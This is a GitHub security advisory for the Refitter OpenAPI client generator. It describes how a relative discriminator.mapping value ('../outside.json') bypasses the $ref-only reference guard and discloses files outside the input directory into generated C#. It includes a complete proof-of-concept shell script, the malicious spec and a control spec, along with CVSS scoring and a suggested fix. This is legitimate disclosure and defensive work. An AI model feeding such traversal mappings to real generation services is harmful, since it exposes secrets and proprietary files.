Skip to main content
Menu
Advisories

Relative discriminator mappings bypass Refitter's schema confinement, causing out-of-tree schema disclosure

GHSA-RQPJ-F34P-MR22Published Updated GitHub

Description

Relative discriminator mappings bypass Refitter's schema confinement, causing out-of-tree schema disclosure

Summary

Refitter's OpenAPI reference guard validates only JSON/YAML properties named $ref, while NSwag also resolves schema files named by discriminator.mapping values. A supplied mapping of dog: ../outside.json therefore escapes the OpenAPI directory and causes the external schema to be read and copied into generated C# even though an equivalent in-tree mapping succeeds safely.

Technical Details

The supported path begins at RefitGenerator.CreateAsync, which calls OpenApiDocumentFactory.CreateAsync; for a local document the factory invokes ReferenceGuard.ValidateAsync and then DocumentLoader.LoadAsync. ValidateLocalFileAsync resolves and confines every reference returned by ExtractReferences, but ExtractJsonReferences adds a value only when the current property name is exactly $ref. A discriminator mapping is a different property, so its ../outside.json value is invisible to the guard and remains available for the downstream NSwag resolver.

The violated invariant is that every schema file path resolved from an untrusted OpenAPI document must be inspected and confined to the input document directory before parsing and generation. This behavior is inconsistent with the guard's stated purpose of preventing local file inclusion and with its explicit confinement of ordinary $ref traversal; the differential test confirms that the omission is security-relevant rather than a harmless parsing difference.

The ordinary attacker capability is delivery of an OpenAPI document to a supported Refitter generation job. The file selected by the mapping must be readable by the generator process. In an automated CI or service deployment that processes attacker-selected documents and returns generated artifacts, the attacker can receive contents from any readable out-of-tree schema file; a one-off local invocation still demonstrates unauthorized file access but requires the caller to inspect the generated output.

PoV

Create an external schema beside, rather than inside, the OpenAPI directory:

{"title":"ExternalDog","type":"object","properties":{"RelativeMappingMarker":{"type":"string"}}}

Use this OpenAPI 3 document as input/spec.json:

{"openapi":"3.0.0","info":{"title":"Mapping Relative","version":"1.0.0"},"paths":{"/pets":{"get":{"operationId":"getPets","responses":{"200":{"description":"ok","content":{"application/json":{"schema":{"$ref":"#/components/schemas/Pet"}}}}}}}},"components":{"schemas":{"Pet":{"type":"object","discriminator":{"propertyName":"kind","mapping":{"dog":"../outside.json"}},"properties":{"kind":{"type":"string"}}}}}}

The ../outside.json value is resolved relative to input, while the document's ordinary $ref remains an in-document JSON pointer.

PoC

Run the following from a directory containing the pinned refitter.dll build (the source revision is bf77ef633cd182563748fd7828e2d06bb24e1dd5):

set -eu
rm -rf poc-relative-mapping
mkdir -p poc-relative-mapping/input
cat > poc-relative-mapping/outside.json <<'JSON'
{"title":"ExternalDog","type":"object","properties":{"RelativeMappingMarker":{"type":"string"}}}
JSON
cat > poc-relative-mapping/input/spec.json <<'JSON'
{"openapi":"3.0.0","info":{"title":"Mapping Relative","version":"1.0.0"},"paths":{"/pets":{"get":{"operationId":"getPets","responses":{"200":{"description":"ok","content":{"application/json":{"schema":{"$ref":"#/components/schemas/Pet"}}}}}}}},"components":{"schemas":{"Pet":{"type":"object","discriminator":{"propertyName":"kind","mapping":{"dog":"../outside.json"}},"properties":{"kind":{"type":"string"}}}}}}
JSON
dotnet refitter.dll poc-relative-mapping/input/spec.json --output poc-relative-mapping/attack.cs --namespace Probe.Generated --no-logging
if grep -q RelativeMappingMarker poc-relative-mapping/attack.cs; then marker=0; else marker=1; fi
echo "ATTACK_EXIT=0 MARKER=$marker"

cat > poc-relative-mapping/input/control.json <<'JSON'
{"openapi":"3.0.0","info":{"title":"Mapping Control","version":"1.0.0"},"paths":{"/pets":{"get":{"operationId":"getPets","responses":{"200":{"description":"ok","content":{"application/json":{"schema":{"$ref":"#/components/schemas/Pet"}}}}}}}},"components":{"schemas":{"Pet":{"type":"object","discriminator":{"propertyName":"kind","mapping":{"dog":"#/components/schemas/Dog"}},"properties":{"kind":{"type":"string"}}},"Dog":{"type":"object","properties":{"InTreeMappingMarker":{"type":"string"}}}}}}
JSON
dotnet refitter.dll poc-relative-mapping/input/control.json --output poc-relative-mapping/control.cs --namespace Probe.Generated --no-logging
if grep -q InTreeMappingMarker poc-relative-mapping/control.cs; then marker=0; else marker=1; fi
echo "CONTROL_EXIT=0 IN_TREE_MARKER=$marker"

The commands produced the decisive output:

ATTACK_EXIT=0 MARKER=0
CONTROL_EXIT=0 IN_TREE_MARKER=0

The attack invocation returned zero from Refitter and generated output containing the unique RelativeMappingMarker property from outside.json. The control invocation returned zero and generated only the in-tree InTreeMappingMarker. Together, these outputs show that the parent-relative mapping reaches an external schema while the equivalent in-tree mapping remains available. Both invocations used the networkless .NET SDK image mcr.microsoft.com/dotnet/sdk@sha256:65f3c7c6a25a239ab3e6719f2896147e7b68242ff2d8818dd70498bde6ef8bea.

Impact

This crosses Refitter's intended input-directory confinement boundary and discloses the contents of a process-readable file outside the supplied OpenAPI tree through generated source. The demonstrated marker is synthetic; the same path can carry secrets or proprietary schema data when those files are readable by the generation job. No code execution, network request, integrity change, or denial of service is claimed.

The base CVSS 3.1 score is 6.5 (Medium), CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N, because a caller must process the malicious document. The requested high advisory label is conditional on a supported automated CI or service deployment that accepts attacker-selected OpenAPI URLs and exposes the generated artifact to that attacker; under that exact condition, removing user interaction (MUI:N) yields the environmental vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N/MAV:N/MAC:L/MPR:N/MUI:N/MS:U/MC:H/MI:N/MA:N and a 7.5 (High) environmental score. A manual local invocation remains the Medium base case, and the process permissions and existence of a readable external file limit the disclosure.

Suggested Fix

Extend the reference guard's extraction and validation to include every schema-bearing discriminator.mapping value in JSON and YAML documents, while preserving JSON pointers beginning with #. For file references, split any fragment, reject HTTP and non-file schemes under the existing policy, resolve the path against the current document directory, and apply the same IsWithin(rootDirectory, resolved) check before NSwag loads the document. Fail closed when a mapping cannot be parsed or confined.

Add regression tests through RefitGenerator.CreateAsync(...).Generate() and the CLI for OpenAPI 3 JSON and YAML: an in-tree mapping must generate, ../outside.json and absolute mappings must be rejected, a mapping with a fragment must still be confined, and escaped or duplicate keys must not bypass the check. Assert that an external marker never reaches generated source and retain the existing in-tree control as a negative control.

Affected Package/Versions

  • Refitter NuGet package: 2.4.0.
  • Refitter.Core NuGet package: 2.4.0.

The proof runs on pinned revision bf77ef633cd182563748fd7828e2d06bb24e1dd5, which is after the 2.4.0 release tag. Git history shows no changes to ReferenceGuard, OpenApiDocumentFactory, or RefitGenerator between that tag and the pinned revision, so the recorded 2.4.0 boundary covers the shipped source containing this route. No fixed version is established by this report; a patched release should be assigned after the guard and regression tests land.

Advisory History

The repository's 2.4.0 changelog records PR #1392, “Block escaped remote $ref references in reference guard,” which hardens ordinary $ref handling. That change does not inspect discriminator.mapping. The public advisory inventory for ecosystem:nuget and affects:Refitter lists GHSA-p32v-8v8j-j534, GHSA-58x9-vjvp-6mx8, and GHSA-3fhm-p725-h3g3. Searches for ReferenceGuard, discriminator.mapping, and GHSA terms, the issue record for PR #1392, a pull-request search for discriminator.mapping, and commit searches for discriminator and discriminator.mapping found no existing issue, pull request, or commit naming this parent-relative route; the package-specific inventory contains no GHSA-4f49-pm8q-mx4f entry. Official advisory pages provide source context. The parent-relative mapping is distinct from the earlier absolute discriminator-mapping investigation because it resolves ../outside.json against the document directory after the exact-$ref guard. Every schema reference, including discriminator mappings, should be inspected and confined before resolution.

Three earlier local reports are ready for maintainer review and have not been submitted:

  • C# code injection through operation-key attribute identifiers.
  • A reference-guard bypass using case-colliding $ref keys.
  • XML documentation file disclosure through an unescaped response status.

No separate submitted report or completed-but-unsubmitted report was found.

References

Affected versions

References

GitHub · christianhelle/refitter